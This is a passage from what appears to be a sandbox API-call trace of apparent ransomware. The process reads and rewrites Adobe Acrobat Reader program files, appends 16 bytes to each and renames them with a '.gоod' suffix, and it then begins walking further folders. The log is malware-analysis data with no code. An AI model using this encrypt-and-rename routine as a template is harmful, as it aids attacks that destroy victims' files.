(x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\reader_sl.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\reader_sl.exe.gоod")) returned 1 [0078.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", lpFilePart=0x0) returned 0x3d [0078.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0078.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), fInfoLevelId=0x0, lpFileInformation=0x31eb010 | out: lpFileInformation=0x31eb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a)) returned 1 [0078.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0078.905] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", nBufferLength=0x105, lpBuffer=0x1f35c380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", lpFilePart=0x0) returned 0x3d [0078.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8a0) returned 1 [0078.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.928] GetFileType (hFile=0x778) returned 0x1 [0078.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c810) returned 1 [0078.928] GetFileType (hFile=0x778) returned 0x1 [0078.929] GetFileSize (in: hFile=0x778, lpFileSizeHigh=0x1f35ca48 | out: lpFileSizeHigh=0x1f35ca48*=0x0) returned 0x44a [0078.929] ReadFile (in: hFile=0x778, lpBuffer=0x31b6ef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c978, lpOverlapped=0x0 | out: lpBuffer=0x31b6ef8*, lpNumberOfBytesRead=0x1f35c978*=0x44a, lpOverlapped=0x0) returned 1 [0078.953] CloseHandle (hObject=0x778) returned 1 [0078.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", nBufferLength=0x105, lpBuffer=0x1f35c380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", lpFilePart=0x0) returned 0x3d [0078.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8a0) returned 1 [0078.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.981] GetFileType (hFile=0x778) returned 0x1 [0078.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c810) returned 1 [0078.982] GetFileType (hFile=0x778) returned 0x1 [0078.982] WriteFile (in: hFile=0x778, lpBuffer=0x3232228*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x1f35c888, lpOverlapped=0x0 | out: lpBuffer=0x3232228*, lpNumberOfBytesWritten=0x1f35c888*=0x450, lpOverlapped=0x0) returned 1 [0078.982] CloseHandle (hObject=0x778) returned 1 [0078.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", lpFilePart=0x0) returned 0x3d [0078.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.gоod", lpFilePart=0x0) returned 0x42 [0078.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0078.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2b4aa846, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1 [0078.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0078.984] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der.gоod")) returned 1 [0078.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0078.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0078.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3233578 | out: lpFileInformation=0x3233578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3)) returned 1 [0079.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0079.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0079.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.285] GetFileType (hFile=0x760) returned 0x1 [0079.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.285] GetFileType (hFile=0x760) returned 0x1 [0079.285] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0079.285] ReadFile (in: hFile=0x760, lpBuffer=0x3285330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3285330*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0079.286] CloseHandle (hObject=0x760) returned 1 [0079.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0079.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.287] GetFileType (hFile=0x760) returned 0x1 [0079.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.287] GetFileType (hFile=0x760) returned 0x1 [0079.287] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x12eb3 [0079.287] WriteFile (in: hFile=0x760, lpBuffer=0x32865b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x32865b8*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0079.287] CloseHandle (hObject=0x760) returned 1 [0079.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0079.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.291] GetFileType (hFile=0x760) returned 0x1 [0079.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.291] GetFileType (hFile=0x760) returned 0x1 [0079.291] ReadFile (in: hFile=0x760, lpBuffer=0x32888d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x32888d8*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0079.318] CloseHandle (hObject=0x760) returned 1 [0079.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0079.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.318] GetFileType (hFile=0x760) returned 0x1 [0079.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.318] GetFileType (hFile=0x760) returned 0x1 [0079.318] WriteFile (in: hFile=0x760, lpBuffer=0x3287640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x3287640*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0079.318] CloseHandle (hObject=0x760) returned 1 [0079.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", lpFilePart=0x0) returned 0x41 [0079.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.gоod", lpFilePart=0x0) returned 0x46 [0079.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0079.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2b7cba00, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12ec3)) returned 1 [0079.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0079.320] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf.gоod")) returned 1 [0079.571] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0079.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), fInfoLevelId=0x0, lpFileInformation=0x3488540 | out: lpFileInformation=0x3488540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8)) returned 1 [0079.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0079.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.574] GetFileType (hFile=0x760) returned 0x1 [0079.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.574] GetFileType (hFile=0x760) returned 0x1 [0079.574] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0079.574] ReadFile (in: hFile=0x760, lpBuffer=0x34889c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x34889c8*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0079.575] CloseHandle (hObject=0x760) returned 1 [0079.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.576] GetFileType (hFile=0x760) returned 0x1 [0079.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.576] GetFileType (hFile=0x760) returned 0x1 [0079.576] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1c8b8 [0079.576] WriteFile (in: hFile=0x760, lpBuffer=0x348c070*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x348c070*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0079.577] CloseHandle (hObject=0x760) returned 1 [0079.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.712] GetFileType (hFile=0x760) returned 0x1 [0079.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.712] GetFileType (hFile=0x760) returned 0x1 [0079.712] ReadFile (in: hFile=0x760, lpBuffer=0x31d14a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x31d14a0*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0079.739] CloseHandle (hObject=0x760) returned 1 [0079.739] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0079.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0079.739] GetFileType (hFile=0x760) returned 0x1 [0079.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0079.739] GetFileType (hFile=0x760) returned 0x1 [0079.739] WriteFile (in: hFile=0x760, lpBuffer=0x31af700*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x31af700*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0079.740] CloseHandle (hObject=0x760) returned 1 [0079.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe", lpFilePart=0x0) returned 0x44 [0079.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe.gоod", lpFilePart=0x0) returned 0x49 [0079.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0079.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2bbd1bb3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c8c8)) returned 1 [0079.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0079.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\wow_helper.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\wow_helper.exe.gоod")) returned 1 [0079.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0079.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp", lpFilePart=0x0) returned 0x3d [0079.744] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0079.744] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0079.744] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0079.745] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0079.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0079.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0079.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0079.745] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp", lpFilePart=0x0) returned 0x3d [0079.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", 